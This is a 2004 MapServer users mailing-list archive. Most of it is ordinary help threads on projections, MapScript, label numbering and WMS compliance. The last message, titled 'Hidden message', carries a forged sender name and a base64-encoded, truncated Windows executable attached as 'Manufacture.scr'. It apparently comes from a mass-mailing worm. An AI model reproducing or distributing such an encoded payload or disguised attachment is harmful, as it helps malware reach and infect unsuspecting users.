http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From tburton at holonics.ca Tue Jun 8 05:52:26 2004 From: tburton at holonics.ca (Trent Burton) Date: Tue, 8 Jun 2004 08:52:26 -0400 Subject: [Mapserver-users] Map file LAYER - PROJECTION definition from MapInfo tif .tab file Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C44D57.7372C104 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Can someone tell me the projection entry into a map file for the following Mapinfo tif .tab entry, or better yet, explain to me how this works?=20 =20 !table !version 300 !charset WindowsLatin1 =20 Definition table File "35j04_1614.tif" Type "RASTER" (347739.77,6898820.51) (0,0) Label "Pt 1", (349059.02,6898820.51) (5277,0) Label "Pt 2", (349059.02,6897411.01) (5277,5638) Label "Pt 3", (347739.77,6897411.01) (0,5638) Label "Pt 4" CoordSys Earth Projection 8, 33, "m", -76.5, 0, 0.9999, 304800, 0 BOUNDS (-7943519.03923, -10000965.5329) (8553119.03923, 10000965.5329) Units "m" =20 =20 =20 I assume that SUPPORTS=3DPROJ means that my mapserver was compiled with PROJ.4? =20 =20 Thanks, =20 Trent ------_=_NextPart_001_01C44D57.7372C104 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message

Can = someone tell me=20 the projection entry into a map file for the following Mapinfo tif .tab = entry,=20 or better yet, explain to me how this works?
 
!table
!version=20 300
!charset WindowsLatin1
 
Definition=20 table
 File "35j04_1614.tif"
 Type=20 "RASTER"
 (347739.77,6898820.51) (0,0) Label "Pt=20 1",
 (349059.02,6898820.51) (5277,0) Label "Pt=20 2",
 (349059.02,6897411.01) (5277,5638) Label "Pt=20 3",
 (347739.77,6897411.01) (0,5638) Label "Pt = 4"
 CoordSys=20 Earth Projection 8, 33, "m", -76.5, 0, 0.9999, 304800, 0 BOUNDS = (-7943519.03923,=20 -10000965.5329) (8553119.03923, 10000965.5329)
 Units=20 "m"
 
 
 
I = assume that=20 SUPPORTS=3DPROJ means that my mapserver was compiled with=20 PROJ.4?
 
 
Thanks,
 
Trent
=00 ------_=_NextPart_001_01C44D57.7372C104-- From woodbri at swoodbridge.com Tue Jun 8 05:59:46 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 08 Jun 2004 08:59:46 -0400 Subject: [Mapserver-users] mapserver and extern interfacing In-Reply-To: <1086694116.40c5a2e4b0bf3@webmail.esm2.imt-mrs.fr> References: <1086694116.40c5a2e4b0bf3@webmail.esm2.imt-mrs.fr> Message-ID: <40C5B842.20700@swoodbridge.com> Yes, we use mapscript, the primary versions of mapscript are Perl, PHP, and Python. With these you can write a custom application that integrates data from any dynamic data source. I have web pages written in PHP that call a geocoding or a routing server and then call a another page running mapscript to display the results. In the case of the routing page, the route server generates a shapefile and passes the name to the mapping page and the mapping page reads the extents from the shapefile and zooms the map to that extents and then includes the shapefile for the route in the map. http://imaptools.com (see the "Demos" link). -Steve W. S?bastien DUBOIS wrote: > hi all, > if you take allok to the proprietary software like arcims soft, you'll see that > most of these soft works like servlets and allow interfacing with other > servlets which give them .xml or other. > my query is to know if mapserver can work like this. > Let's explain this more . > yet it's possible to use a database like postgresql to load layer. > but is it possible to send .shp to mapserv for a layer from an extern source > (without work with the database as a intermediary) > in other words is there an api of mapserv which allow to custumize this soft? > > thanks in advance From woodbri at swoodbridge.com Tue Jun 8 06:28:01 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 08 Jun 2004 09:28:01 -0400 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: References: Message-ID: <40C5BEE1.7070808@swoodbridge.com> Steve and Doug, This sounds like the functionality that you would want for a standard Locator type of application. For a locator you would want to position to some location and specify a radius, then render a map with the locations found there from a database or a LAYER, numbered on the map and have a table under the map the describes each of the labeled the locations. Doug is this what you are try to do? For a locator, you would also probably want the locations sorted by increasing distance from the center point. You might also want to have links defined in each of the table description that would allow you to zoom in close to that specific location. The table could be describe by a template that is populated based on attribute fields and a [DISTANCE] from the center point. The template fragment could be generated at the same time the point is assigned its number. This is really a mapscript application, because you should deal with error recovery like what if there are no location where you specified? you should display a nice page, not an map with no locations on it. You might also want to dynamically expand the search radius and try again before failing, etc. While it is very possible to add something like this to mapserver, I think our strategy has been to NOT make bloat-ware by adding lots of application into mapserver. I think we want mapserver to be small and fast and keep the application code in mapscript. But that is really the developers' call. -Steve Steve Lime wrote: > Labeling isn't random so you might be able to figure something out. This > type of an operation usually involves a query to get at attributes of > features you want. So, in MapScript you'd do something like: > > - draw a base image for the required extent > - query the points data using that extent > - loop through the results drawing each point on the base image, using a > counter to compute the label values > - produce the output page with the image and the list of point features > > So you could have the map with gas station's labeled 1to 10, and then a > list with the names of each station. That's an easy solution... > > Steve > > >>>>Doug 06/08/04 12:22 AM >>> > > That is exactly what we want to do. > > We have an existing site that uses a commercial product with an > expensive annual license fee that our project management team would like > > to see us replace with OpenSource alternatives. This site does show a > textual list of feature attributes whose numbers correspond to labels on > > the map. > > Are you saying that with or without ordered labelling, there's no way to > > order the features predictably? > > BTW, thanks for everyone's expert advice. We're brand new to MapServer > and still fairly new to GIS in general. > > Doug > > Steve Lime wrote: > > >>Actually I think I know how it could be done regardless of the value > > of > >>force. When you build the labels you could use a special string like >>%rn% to denote a draw time substitution (just like runtime > > substitutions > >>with the CGI). Then as you plop labels on the map you could keep count >>and each label gets the value of count+1 substituted for %rn%. If a >>label isn't drawn, no biggie cause the counter doesn't go anywhere >>either. >> >>I wonder though if there is real value in this. What do the numbers >>really mean? I could see utility in labeling features and then >>referencing them by number elsewhere on a page (e.g. found 5 hotels >>within 10 miles of point x). However, there's no way to tie numbers to >>actual features, not with more work. >> >>Could someone file a bug/feature request on this one so it doesn't get >>lost? I won't have time until after MUM2 to think about it. >> >>Steve >> >> >> >>>>>Stephen Woodbridge 06/07/04 4:18 PM >>> >> >>Steve Lime, >> >>This should simplify the issues you raised about this feature. >>Basically, the autonumber feature should just draw all the points in > > the > >>view using the FORCE option so there are no renumbering issues, > > because > >>they are all drawn. >> >>-Steve W. >> >>Doug wrote: >> >> >> >>>Stephen Woodbridge wrote: >>> >>> >>> >>>>Doug wrote: >>>> >>>> >>>> >>>>>The reason we're trying to stay away from MapScript is the thread >>>>>safety issues we've been reading about. That and the fact that we >> >>do >> >> >>>>>all of our application coding in Java, for which there doesn't >> >>appear >> >> >>>>>to be any standard, accepted implementation. >>>>> >>>>>So how to people use MapScript anyway if it's not thread safe? >>>>>Always as separate CGI processes? >>>> >>>> >>>> >>>>Yes, PHP is required to run as a CGI process and likewise for Perl >>>>(ie: you can not run it as an apache module or mod_perl application). >>>> >>>>So what are your requirements regarding autonumbering and label >>>>collisions? >>>> >>>>-Steve W. >>> >>> >>>If I understand what you're asking, I think we want to show all labels >> >> >>>all the time, even if they collide. Or even if some hid others, we >>>wouldn't want to re-order the numbers. >>> >>>Doug >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ummmmm at myrealbox.com Tue Jun 8 06:51:32 2004 From: ummmmm at myrealbox.com (Doug) Date: Tue, 08 Jun 2004 08:51:32 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C5BEE1.7070808@swoodbridge.com> References: <40C5BEE1.7070808@swoodbridge.com> Message-ID: <40C5C464.9070705@myrealbox.com> The simple form of what you describe is exactly what we want to do. In this specific case, we don't even need to sort by distance from the center, zooming text links, etc. But I can see those being good, general capabilities for similar applications. And I'd really have no problem with "MapScript" being the answer if there were a thread-safe way for us to use it (particularly from Java, even if JNI were required). I'm assuming that this must be a very difficult thing to change. Given the large number of Java environments, and the likelihood that many of them look for OpenSource tools, I would have guessed that the problem would have already been solved if it were remotely simple. Doug Stephen Woodbridge wrote: > Steve and Doug, > > This sounds like the functionality that you would want for a standard > Locator type of application. For a locator you would want to position to > some location and specify a radius, then render a map with the locations > found there from a database or a LAYER, numbered on the map and have a > table under the map the describes each of the labeled the locations. > > Doug is this what you are try to do? > > For a locator, you would also probably want the locations sorted by > increasing distance from the center point. You might also want to have > links defined in each of the table description that would allow you to > zoom in close to that specific location. The table could be describe by > a template that is populated based on attribute fields and a [DISTANCE] > from the center point. The template fragment could be generated at the > same time the point is assigned its number. > > This is really a mapscript application, because you should deal with > error recovery like what if there are no location where you specified? > you should display a nice page, not an map with no locations on it. You > might also want to dynamically expand the search radius and try again > before failing, etc. > > While it is very possible to add something like this to mapserver, I > think our strategy has been to NOT make bloat-ware by adding lots of > application into mapserver. I think we want mapserver to be small and > fast and keep the application code in mapscript. But that is really the > developers' call. > > -Steve > > Steve Lime wrote: > >> Labeling isn't random so you might be able to figure something out. This >> type of an operation usually involves a query to get at attributes of >> features you want. So, in MapScript you'd do something like: >> >> - draw a base image for the required extent >> - query the points data using that extent >> - loop through the results drawing each point on the base image, using a >> counter to compute the label values >> - produce the output page with the image and the list of point features >> >> So you could have the map with gas station's labeled 1to 10, and then a >> list with the names of each station. That's an easy solution... >> >> Steve >> >> >>>>> Doug 06/08/04 12:22 AM >>> >> >> >> That is exactly what we want to do. >> >> We have an existing site that uses a commercial product with an >> expensive annual license fee that our project management team would like >> >> to see us replace with OpenSource alternatives. This site does show a >> textual list of feature attributes whose numbers correspond to labels on >> >> the map. >> >> Are you saying that with or without ordered labelling, there's no way to >> >> order the features predictably? >> >> BTW, thanks for everyone's expert advice. We're brand new to >> MapServer and still fairly new to GIS in general. >> >> Doug >> >> Steve Lime wrote: >> >> >>> Actually I think I know how it could be done regardless of the value >> >> >> of >> >>> force. When you build the labels you could use a special string like >>> %rn% to denote a draw time substitution (just like runtime >> >> >> substitutions >> >>> with the CGI). Then as you plop labels on the map you could keep count >>> and each label gets the value of count+1 substituted for %rn%. If a >>> label isn't drawn, no biggie cause the counter doesn't go anywhere >>> either. >>> I wonder though if there is real value in this. What do the numbers >>> really mean? I could see utility in labeling features and then >>> referencing them by number elsewhere on a page (e.g. found 5 hotels >>> within 10 miles of point x). However, there's no way to tie numbers to >>> actual features, not with more work. >>> >>> Could someone file a bug/feature request on this one so it doesn't get >>> lost? I won't have time until after MUM2 to think about it. >>> >>> Steve >>> >>> >>> >>>>>> Stephen Woodbridge 06/07/04 4:18 PM >>> >>> >>> >>> Steve Lime, >>> >>> This should simplify the issues you raised about this feature. >>> Basically, the autonumber feature should just draw all the points in >> >> >> the >> >>> view using the FORCE option so there are no renumbering issues, >> >> >> because >> >>> they are all drawn. >>> >>> -Steve W. >>> >>> Doug wrote: >>> >>> >>> >>>> Stephen Woodbridge wrote: >>>> >>>> >>>> >>>>> Doug wrote: >>>>> >>>>> >>>>> >>>>>> The reason we're trying to stay away from MapScript is the thread >>>>>> safety issues we've been reading about. That and the fact that we >>> >>> >>> do >>> >>>>>> all of our application coding in Java, for which there doesn't >>> >>> >>> appear >>> >>>>>> to be any standard, accepted implementation. >>>>>> >>>>>> So how to people use MapScript anyway if it's not thread safe? >>>>>> Always as separate CGI processes? >>>>> >>>>> >>>>> >>>>> >>>>> Yes, PHP is required to run as a CGI process and likewise for Perl >>>>> (ie: you can not run it as an apache module or mod_perl application). >>>>> >>>>> So what are your requirements regarding autonumbering and label >>>>> collisions? >>>>> >>>>> -Steve W. >>>> >>>> >>>> >>>> If I understand what you're asking, I think we want to show all labels >>> >>> >>> >>>> all the time, even if they collide. Or even if some hid others, we >>>> wouldn't want to re-order the numbers. >>>> >>>> Doug From ummmmm at myrealbox.com Tue Jun 8 07:20:21 2004 From: ummmmm at myrealbox.com (Doug) Date: Tue, 08 Jun 2004 09:20:21 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: References: Message-ID: <40C5CB25.7070707@myrealbox.com> Steve Lime wrote: > Actually I think I know how it could be done regardless of the value of > force. When you build the labels you could use a special string like > %rn% to denote a draw time substitution (just like runtime substitutions > with the CGI). Then as you plop labels on the map you could keep count > and each label gets the value of count+1 substituted for %rn%. If a > label isn't drawn, no biggie cause the counter doesn't go anywhere > either. > > I wonder though if there is real value in this. What do the numbers > really mean? I could see utility in labeling features and then > referencing them by number elsewhere on a page (e.g. found 5 hotels > within 10 miles of point x). However, there's no way to tie numbers to > actual features, not with more work. > > Could someone file a bug/feature request on this one so it doesn't get > lost? I won't have time until after MUM2 to think about it. What, specifically, is the bug/feature that you feel is worth filing? I'll write it, but are we talking about the general "number features" request or something more specific and limited? Thanks, Doug P.S. Is top-reply the convention on this list? I try to duplicate whatever the regulars prefer. From woodbri at swoodbridge.com Tue Jun 8 07:38:02 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 08 Jun 2004 10:38:02 -0400 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C5C464.9070705@myrealbox.com> References: <40C5BEE1.7070808@swoodbridge.com> <40C5C464.9070705@myrealbox.com> Message-ID: <40C5CF4A.3040800@swoodbridge.com> Taking an idea from http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?JavaMapServerIssues why don't you create a standard mapserver/mapscript application that acts as a server/service, then in java just call the service which can run as a CGI and have it pass back a document the includes a list of files and whatever that were generated for the request to your java app and carry on from there. I did something similar with for routing, I have a routing CGI application that I call from PHP via a URL, and it passes back a document that include the file name of the results and then in PHP I generate my response back to the user using the data that the router generated. The router is written in C and there was no need to try an integrate it as a PHP module. It is fast and the decoupling insulates you from changes on one side that might break the other. Also if an error occurs it is probably easier to trap this fact and handle it accordingly. I pass back an error document for all errors I can trap. -Steve Doug wrote: > The simple form of what you describe is exactly what we want to do. In > this specific case, we don't even need to sort by distance from the > center, zooming text links, etc. But I can see those being good, > general capabilities for similar applications. > > And I'd really have no problem with "MapScript" being the answer if > there were a thread-safe way for us to use it (particularly from Java, > even if JNI were required). > > I'm assuming that this must be a very difficult thing to change. Given > the large number of Java environments, and the likelihood that many of > them look for OpenSource tools, I would have guessed that the problem > would have already been solved if it were remotely simple. > > Doug > > Stephen Woodbridge wrote: > >> Steve and Doug, >> >> This sounds like the functionality that you would want for a standard >> Locator type of application. For a locator you would want to position >> to some location and specify a radius, then render a map with the >> locations found there from a database or a LAYER, numbered on the map >> and have a table under the map the describes each of the labeled the >> locations. >> >> Doug is this what you are try to do? >> >> For a locator, you would also probably want the locations sorted by >> increasing distance from the center point. You might also want to have >> links defined in each of the table description that would allow you to >> zoom in close to that specific location. The table could be describe >> by a template that is populated based on attribute fields and a >> [DISTANCE] from the center point. The template fragment could be >> generated at the same time the point is assigned its number. >> >> This is really a mapscript application, because you should deal with >> error recovery like what if there are no location where you specified? >> you should display a nice page, not an map with no locations on it. >> You might also want to dynamically expand the search radius and try >> again before failing, etc. >> >> While it is very possible to add something like this to mapserver, I >> think our strategy has been to NOT make bloat-ware by adding lots of >> application into mapserver. I think we want mapserver to be small and >> fast and keep the application code in mapscript. But that is really >> the developers' call. >> >> -Steve >> >> Steve Lime wrote: >> >>> Labeling isn't random so you might be able to figure something out. This >>> type of an operation usually involves a query to get at attributes of >>> features you want. So, in MapScript you'd do something like: >>> >>> - draw a base image for the required extent >>> - query the points data using that extent >>> - loop through the results drawing each point on the base image, using a >>> counter to compute the label values >>> - produce the output page with the image and the list of point features >>> >>> So you could have the map with gas station's labeled 1to 10, and then a >>> list with the names of each station. That's an easy solution... >>> >>> Steve >>> >>> >>>>>> Doug 06/08/04 12:22 AM >>> >>> >>> >>> >>> That is exactly what we want to do. >>> >>> We have an existing site that uses a commercial product with an >>> expensive annual license fee that our project management team would like >>> >>> to see us replace with OpenSource alternatives. This site does show >>> a textual list of feature attributes whose numbers correspond to >>> labels on >>> >>> the map. >>> >>> Are you saying that with or without ordered labelling, there's no way to >>> >>> order the features predictably? >>> >>> BTW, thanks for everyone's expert advice. We're brand new to >>> MapServer and still fairly new to GIS in general. >>> >>> Doug >>> >>> Steve Lime wrote: >>> >>> >>>> Actually I think I know how it could be done regardless of the value >>> >>> >>> >>> of >>> >>>> force. When you build the labels you could use a special string like >>>> %rn% to denote a draw time substitution (just like runtime >>> >>> >>> >>> substitutions >>> >>>> with the CGI). Then as you plop labels on the map you could keep count >>>> and each label gets the value of count+1 substituted for %rn%. If a >>>> label isn't drawn, no biggie cause the counter doesn't go anywhere >>>> either. >>>> I wonder though if there is real value in this. What do the numbers >>>> really mean? I could see utility in labeling features and then >>>> referencing them by number elsewhere on a page (e.g. found 5 hotels >>>> within 10 miles of point x). However, there's no way to tie numbers to >>>> actual features, not with more work. >>>> >>>> Could someone file a bug/feature request on this one so it doesn't get >>>> lost? I won't have time until after MUM2 to think about it. >>>> >>>> Steve >>>> >>>> >>>> >>>>>>> Stephen Woodbridge 06/07/04 4:18 PM >>> >>>> >>>> >>>> >>>> Steve Lime, >>>> >>>> This should simplify the issues you raised about this feature. >>>> Basically, the autonumber feature should just draw all the points in >>> >>> >>> >>> the >>> >>>> view using the FORCE option so there are no renumbering issues, >>> >>> >>> >>> because >>> >>>> they are all drawn. >>>> >>>> -Steve W. >>>> >>>> Doug wrote: >>>> >>>> >>>> >>>>> Stephen Woodbridge wrote: >>>>> >>>>> >>>>> >>>>>> Doug wrote: >>>>>> >>>>>> >>>>>> >>>>>>> The reason we're trying to stay away from MapScript is the thread >>>>>>> safety issues we've been reading about. That and the fact that we >>>> >>>> >>>> >>>> do >>>> >>>>>>> all of our application coding in Java, for which there doesn't >>>> >>>> >>>> >>>> appear >>>> >>>>>>> to be any standard, accepted implementation. >>>>>>> >>>>>>> So how to people use MapScript anyway if it's not thread safe? >>>>>>> Always as separate CGI processes? >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> Yes, PHP is required to run as a CGI process and likewise for Perl >>>>>> (ie: you can not run it as an apache module or mod_perl application). >>>>>> >>>>>> So what are your requirements regarding autonumbering and label >>>>>> collisions? >>>>>> >>>>>> -Steve W. >>>>> >>>>> >>>>> >>>>> >>>>> If I understand what you're asking, I think we want to show all labels >>>> >>>> >>>> >>>> >>>>> all the time, even if they collide. Or even if some hid others, we >>>>> wouldn't want to re-order the numbers. >>>>> >>>>> Doug > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From cristinanoversa at clix.pt Tue Jun 8 07:55:48 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Tue, 08 Jun 2004 15:55:48 +0100 Subject: [Mapserver-users] getFeatureInfo Message-ID: <20040608145548.29933.qmail@maboque.srv.clix.pt>

Hi

I?m working with two layers, countries and cities. I?m trying to get all the available information about a given point, in this case I want it to be a citie. For that,

I?m using the getFeatureInfo request, but I?m having problems about guessing the exact values for x and y that I have to pass.
I?m using the same epsg code, bbox, x and y values that I get in ArcMap, but still getting most of the times "GetFeatureInfo results:? Search returned no results."?

Not even the available information about the country I?m able to get, most of the times.

I know it has something to do with coordinates system.

Hope someone to give me some help

Thanks

Cristina

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From barrywilson at fs.fed.us Tue Jun 8 08:11:03 2004 From: barrywilson at fs.fed.us (Barry Wilson) Date: Tue, 8 Jun 2004 10:11:03 -0500 Subject: [Mapserver-users] OGC compliance for WMS Message-ID: I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ From warmerdam at pobox.com Tue Jun 8 08:23:26 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 08 Jun 2004 11:23:26 -0400 Subject: [Mapserver-users] Map file LAYER - PROJECTION definition from MapInfo tif .tab file In-Reply-To: References: Message-ID: <40C5D9EE.9000000@pobox.com> Trent Burton wrote: > Can someone tell me the projection entry into a map file for the > following Mapinfo tif .tab entry, or better yet, explain to me how this > works? > > !table > !version 300 > !charset WindowsLatin1 > > Definition table > File "35j04_1614.tif" > Type "RASTER" > (347739.77,6898820.51) (0,0) Label "Pt 1", > (349059.02,6898820.51) (5277,0) Label "Pt 2", > (349059.02,6897411.01) (5277,5638) Label "Pt 3", > (347739.77,6897411.01) (0,5638) Label "Pt 4" > CoordSys Earth Projection 8, 33, "m", -76.5, 0, 0.9999, 304800, 0 > BOUNDS (-7943519.03923, -10000965.5329) (8553119.03923, 10000965.5329) > Units "m" Trent, There isn't a very handy way of doing this. I translated it by substituting it into a .mif file and using ogrinfo to get a WKT representation of the coordinate system: PROJCS["unnamed", GEOGCS["unnamed", DATUM["MIF 33", SPHEROID["GRS 80",6378137,298.257222101], TOWGS84[0,0,0,-0,-0,-0,0]], PRIMEM["Greenwich",0], UNIT["degree",0.0174532925199433]], PROJECTION["Transverse_Mercator"], PARAMETER["latitude_of_origin",0], PARAMETER["central_meridian",-76.5], PARAMETER["scale_factor",0.9999], PARAMETER["false_easting",304800], PARAMETER["false_northing",0], UNIT["Meter",1]] Which I would manually translate to be: PROJECTION "+proj=tmerc +lat_0=0 +lon_0=-76.5 +k=0.9999 +x_=304800 +y_0=0 +datum=NAD27" END > I assume that SUPPORTS=PROJ means that my mapserver was compiled with > PROJ.4? Yes Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Andrew.Simpson at ssc.nasa.gov Tue Jun 8 08:23:19 2004 From: Andrew.Simpson at ssc.nasa.gov (Simpson, Andrew) Date: Tue, 8 Jun 2004 10:23:19 -0500 Subject: [Mapserver-users] Hunting for global data Message-ID: <7F086B24179D91449EDA19F5FC928D0B05211315@sscleda2.ssc.nasa.gov> Landsat 7 GeoCover is now available by toggling the first drop-down on the page https://zulu.ssc.nasa.gov/mrsid/mrsid.pl -----Original Message----- From: Delfos, Jacob [mailto:jacob.delfos at maunsell.com] Sent: Wednesday, May 19, 2004 3:27 AM To: Tyler Mitchell Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Hunting for global data I recommend these sites: https://zulu.ssc.nasa.gov/mrsid/mrsid.pl (beautiful landsat 7 images for the whole world, 30m resolution) http://www.maproom.psu.edu/dcw/ (topo for the whole world) http://edcimswww.cr.usgs.gov/pub/imswelcome/ (all sorts of stuff for the whole world) http://www.ngdc.noaa.gov/seg/topo/globe.shtml (elevation in BIL format) Regards, Jacob -----Original Message----- From: Tomas Brandalik [mailto:Tomas.Brandalik at Sun.COM] Sent: Wednesday, 19 May 2004 4:08 PM To: Tyler Mitchell Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Hunting for global data this is good place to start http://freegis.org/geo-data.en.html -Tomas Tyler Mitchell wrote: >I'm looking for any good global-scale datasets to show off MapServer's >capabilities. >The first thing I started looking for was a DEM or elevation image but >everything I'm finding is in some obscure format or another. Anyone got >gtopo in a more readily usable format and, ideally, seamless? >I'm also interested in a any other global datasets - countries, >hydrography, etc. that others are using. > >Any ideas? >Tyler >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Tue Jun 8 08:26:20 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 08 Jun 2004 11:26:20 -0400 Subject: [Mapserver-users] OGC compliance for WMS In-Reply-To: References: Message-ID: <40C5DA9C.8030404@pobox.com> Barry Wilson wrote: > > > > I've been reading through the archives and saw a couple of threads related > to Mapserver OGC compliance for WMS dated from November 03 and January 04. > Has the issue of "non-square" pixels been or is it being addressed? Barry, I am tasked to implement support for non-square pixels in MapServer in the near future. It will likely be a bit of a "hack" based on the mechanism I implemented for supporting rotated map output. This will be implemented in MapServer 4.3 (CVS) and be released with 4.4. The work is being supported by DM Solutions Group. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From berend.veldkamp at aris.nl Tue Jun 8 09:00:06 2004 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Tue, 08 Jun 2004 18:00:06 +0200 Subject: [Mapserver-users] Order of submit parameters Message-ID: <40C5E286.2050509@aris.nl> Hi, I have a problem calling the mapserv CGI application from Mozilla (1.6). When I query the map by clicking on it, I get this message: "mapserv(): Web application error. Query mode needs a point, imgxy and mapxy are not set." I found: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0302/msg00546.html According to this thread, the order of parameters can cause this behaviour. Indeed, when comparing the URL's generated by IE and Mozilla, the only thing that differs is their order. Manually moving img.x and img.y to the end of the URL solves the problem! Unfortunately, changing the order of "INPUT" tags in my template doesn't seem to help. The same problem occurs when clicking on the reference map (ref.x and ref.y), or when zooming in/out by clicking on the map, so it seems it has something to do with the tag. This situation can easily be replicated here: http://www.webmap.nl/vloop/cgi-bin/mapserv?map=../pag/vloop.map&layer=route&layer=landuse&zoom=2 Click on "i" below the map, and then on one of the purple lines. Thanks in advance, Berend -- ____________________________ Berend Veldkamp - ARIS http://www.aris.nl/ ____________________________ From steve.lime at dnr.state.mn.us Tue Jun 8 10:08:43 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 08 Jun 2004 11:08:43 -0600 Subject: [Mapserver-users] Hidden message Message-ID: ----------lpypufgbkuoibjjzgiwc Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------lpypufgbkuoibjjzgiwc Content-Type: application/octet-stream; name="Manufacture.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Manufacture.scr" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso 